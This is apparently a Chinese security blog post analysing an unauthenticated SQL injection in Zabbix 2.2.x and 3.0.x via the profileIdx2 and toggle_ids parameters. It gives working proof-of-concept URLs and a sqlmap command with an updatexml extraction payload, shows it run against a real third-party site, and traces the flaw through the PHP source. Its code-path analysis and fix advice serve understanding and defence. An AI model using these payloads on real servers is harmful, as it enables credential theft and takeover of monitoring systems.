zabbix SQL Inject Vul
langu_xyz

zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

0x01 漏洞概述

无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

0x02 影响程度

  • 攻击成本:低
  • 危害程度:高
  • 是否登陆:不需要
  • 影响版本:2.2.x,3.0.0-3.0.3

0x03 漏洞测试

在zabbix的地址后面添加:

  • 利用方式一

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim estamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi story.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfil e=true&screenitemid=&period=3600&stime=20170813040734&resourcetype= 17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=& mark_color=1

如果出现下列代码则证明漏洞存在

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" id="t57ae81946b8cb"><thead><tr><th class="cell- width">Timestamp</th><th>Value</th></tr></thead><tbody><tr class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', '20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: $(this).closest('.msg-bad').remove();" title="Close"></span></div>

  • 利用方式二

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1

如果出现下列代码则证明漏洞存在

SQL (0.000361):INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES(88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1) latest.php:746 →require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in/home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

0x04 实战测试

测试的一个Japan站

sqlmap -u "http://157.×××.×××.98/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1(select(select+concat(0x7e,alias,0x7e,passwd,0x7e))+from+zabbix.users+LIMIT+0,1),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17" --level=3 --risk=2 --columns -T "users" -D "public"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Database: public
Table: users
[16 columns]
+----------------+---------+
| Column | Type |
+----------------+---------+
| alias | varchar |
| attempt_clock | int4 |
| attempt_failed | int4 |
| attempt_ip | varchar |
| autologin | int4 |
| autologout | int4 |
| lang | varchar |
| name | varchar |
| passwd | bpchar |
| refresh | int4 |
| rows_per_page | int4 |
| surname | varchar |
| theme | varchar |
| type | int4 |
| url | varchar |
| userid | int8 |
+----------------+---------+

可获得最高权限

0x05 代码分析

zabbix 2.2.14

  • 首先从poc中的jsrpc.php文件入手,
1
2
3
4
5
6
7
8
9
10
11
require_once dirname(__FILE__).'/include/config.inc.php';

$requestType = get_request('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
$http_request = new CHTTP_request();
$json = new CJSON();
$data = $json->decode($http_request->body(), true);
}
else {
$data = $_REQUEST;
}

从这里看到data是由REQUEST赋值的,接受 GET/POST/COOKIE任意一种输入,所以payload可以用get方式传输,在payload中由method=screen.get这一部分,在源码中可以看到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
case 'screen.get':
$options = array(
'pageFile' => !empty($data['pageFile']) ? $data['pageFile'] : null,
'mode' => !empty($data['mode']) ? $data['mode'] : null,
'timestamp' => !empty($data['timestamp']) ? $data['timestamp'] : time(),
'resourcetype' => !empty($data['resourcetype']) ? $data['resourcetype'] : null,
'screenitemid' => !empty($data['screenitemid']) ? $data['screenitemid'] : null,
'groupid' => !empty($data['groupid']) ? $data['groupid'] : null,
'hostid' => !empty($data['hostid']) ? $data['hostid'] : null,
'period' => !empty($data['period']) ? $data['period'] : null,
'stime' => !empty($data['stime']) ? $data['stime'] : null,
'profileIdx' => !empty($data['profileIdx']) ? $data['profileIdx'] : null,
'profileIdx2' => !empty($data['profileIdx2']) ? $data['profileIdx2'] : null,
'updateProfile' => isset($data['updateProfile']) ? $data['updateProfile'] : null
);
if ($options['resourcetype'] == SCREEN_RESOURCE_HISTORY) {
$options['itemids'] = !empty($data['itemids']) ? $data['itemids'] : null;
$options['action'] = !empty($data['action']) ? $data['action'] : null;
$options['filter'] = !empty($data['filter']) ? $data['filter'] : null;
$options['filter_task'] = !empty($data['filter_task']) ? $data['filter_task'] : null;
$options['mark_color'] = !empty($data['mark_color']) ? $data['mark_color'] : null;
}
elseif ($options['resourcetype'] == SCREEN_RESOURCE_CHART) {
$options['graphid'] = !empty($data['graphid']) ? $data['graphid'] : null;
$options['profileIdx2'] = $options['graphid'];
}

$screenBase = CScreenBuilder::getScreen($options);
if (!empty($screenBase)) {
$screen = $screenBase->get();
}

if (!empty($screen)) {
if ($options['mode'] == SCREEN_MODE_JS) {
$result = $screen;
}
else {
if (is_object($screen)) {
$result = $screen->toString();
}
}
}
else {
$result = '';
}
break;

省略部分代码

require_once dirname(__FILE__).'/include/page_footer.php';

其中$options[profileIdx2]赋值了$data[profileIdx2],
之后调用这几句代码

1
2
3
4
$screenBase = CScreenBuilder::getScreen($options);
if (!empty($screenBase)) {
$screen = $screenBase->get();
}

一时没了思路,跟几句代码死磕,找到zabbix-2.2.14/frontends/php/include/classes/screens/CScreenBuilder.phppublic static function getScreen(array $options = array())函数中没有找到可以造成漏洞的交互点,太菜了!!! ,可以看到profileIdx2已经到达了下面代码中了

1
2
3
4
// calculate time
$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

一路上没有经过任何过滤,然后接着往下看可以看到

1
2
3
4
5
6
7
$this->timeline = CScreenBase::calculateTime(array(
'profileIdx' => $this->profileIdx,
'profileIdx2' => $this->profileIdx2,
'updateProfile' => $this->updateProfile,
'period' => !empty($options['period']) ? $options['period'] : null,
'stime' => !empty($options['stime']) ? $options['stime'] : null
));

profileIdx2成为了calculateTime的参数,这时我们追踪一下calculateTime函数,在zabbix-2.2.14/frontends/php/include/classes/screens/CScreenBase.php中,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function calculateTime(array $options = array()) {
if (!array_key_exists('updateProfile', $options)) {
$options['updateProfile'] = true;
}
if (empty($options['profileIdx2'])) {
$options['profileIdx2'] = 0;
}

// show only latest data without update is set only period
if (!empty($options['period']) && empty($options['stime'])) {
$options['updateProfile'] = false;
$options['profileIdx'] = '';
}

// period
if (empty($options['period'])) {
$options['period'] = !empty($options['profileIdx'])
? CProfile::get($options['profileIdx'].'.period', ZBX_PERIOD_DEFAULT, $options['profileIdx2'])
: ZBX_PERIOD_DEFAULT;
}
else {
if ($options['period'] < ZBX_MIN_PERIOD) {
show_message(_n('Minimum time period to display is %1$s hour.',
'Minimum time period to display is %1$s hours.', (int) ZBX_MIN_PERIOD / SEC_PER_HOUR));
$options['period'] = ZBX_MIN_PERIOD;
}
elseif ($options['period'] > ZBX_MAX_PERIOD) {
show_message(_n('Maximum time period to display is %1$s day.',
'Maximum time period to display is %1$s days.', (int) ZBX_MAX_PERIOD / SEC_PER_DAY));
$options['period'] = ZBX_MAX_PERIOD;
}
}
if ($options['updateProfile'] && !empty($options['profileIdx'])) {
CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
}

重点来了,可以看到CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);这句,这时接着追踪CProfile来到page_footer.php中找到profiles.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static function update($idx, $value, $type, $idx2 = 0) {
if (is_null(self::$profiles)) {
self::init();
}

if (!self::checkValueType($value, $type)) {
return false;
}

$profile = array(
'idx' => $idx,
'value' => $value,
'type' => $type,
'idx2' => $idx2
);

$current = CProfile::get($idx, null, $idx2);
if (is_null($current)) {
if (!isset(self::$insert[$idx])) {
self::$insert[$idx] = array();
}
self::$insert[$idx][$idx2] = $profile;
}

可以看到self::$insert[$idx][$idx2] = $profile;,参数已经到了insert中,

然后去请教表哥,表哥提示问题出现在flush
根据表哥的提示,

page_footer.php中发现CProfile类的flush方法

1
2
3
4
5
6
7
8
9
10
11
12
// last page
if (!defined('ZBX_PAGE_NO_MENU') && $page['file'] != 'profile.php') {
CProfile::update('web.paging.lastpage', $page['file'], PROFILE_TYPE_STR);
}

CProfile::flush();

// end transactions if they have not been closed already
if (isset($DB) && isset($DB['TRANSACTIONS']) && $DB['TRANSACTIONS'] != 0) {
error(_('Transaction has not been closed. Aborting...'));
DBend(false);
}

profiles.inc.php中找到了flush函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static function flush() {
// if not initialised, no changes were made
if (is_null(self::$profiles)) {
return true;
}

if (self::$userDetails['userid'] <= 0) {
return null;
}

if (!empty(self::$insert) || !empty(self::$update)) {
DBstart();
foreach (self::$insert as $idx => $profile) {
foreach ($profile as $idx2 => $data) {
self::insertDB($idx, $data['value'], $data['type'], $idx2);
}
}

ksort(self::$update);
foreach (self::$update as $idx => $profile) {
ksort($profile);
foreach ($profile as $idx2 => $data) {
self::updateDB($idx, $data['value'], $data['type'], $idx2);
}
}
DBend();
}
}

参数传入下面的insertDB函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private static function insertDB($idx, $value, $type, $idx2) {
$value_type = self::getFieldByType($type);

$values = array(
'profileid' => get_dbid('profiles', 'profileid'),
'userid' => self::$userDetails['userid'],
'idx' => zbx_dbstr($idx),
$value_type => zbx_dbstr($value),
'type' => $type,
'idx2' => $idx2
);
return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

可以看到第四个参数没有过滤,通过DBexecute被带到了数据库中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function DBexecute($query, $skip_error_messages = 0) {
global $DB;

if (!isset($DB['DB']) || empty($DB['DB'])) {
return false;
}

$result = false;
$time_start = microtime(true);

$DB['EXECUTE_COUNT']++;

switch ($DB['TYPE']) {
case ZBX_DB_MYSQL:
if (!$result = mysqli_query($DB['DB'], $query)) {
error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
}
break;

0x06 漏洞修复

  • 版本升级
  • 打补丁
  • 关闭guest

0x07 后记

这里还有好多东西没有搞懂,毕竟太菜

  • Post title:zabbix SQL Inject Vul
  • Post author:langu_xyz
  • Create time:2017-02-18 21:00:00
  • Post link:https://blog.langu.xyz/zabbix SQL Inject Vul/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.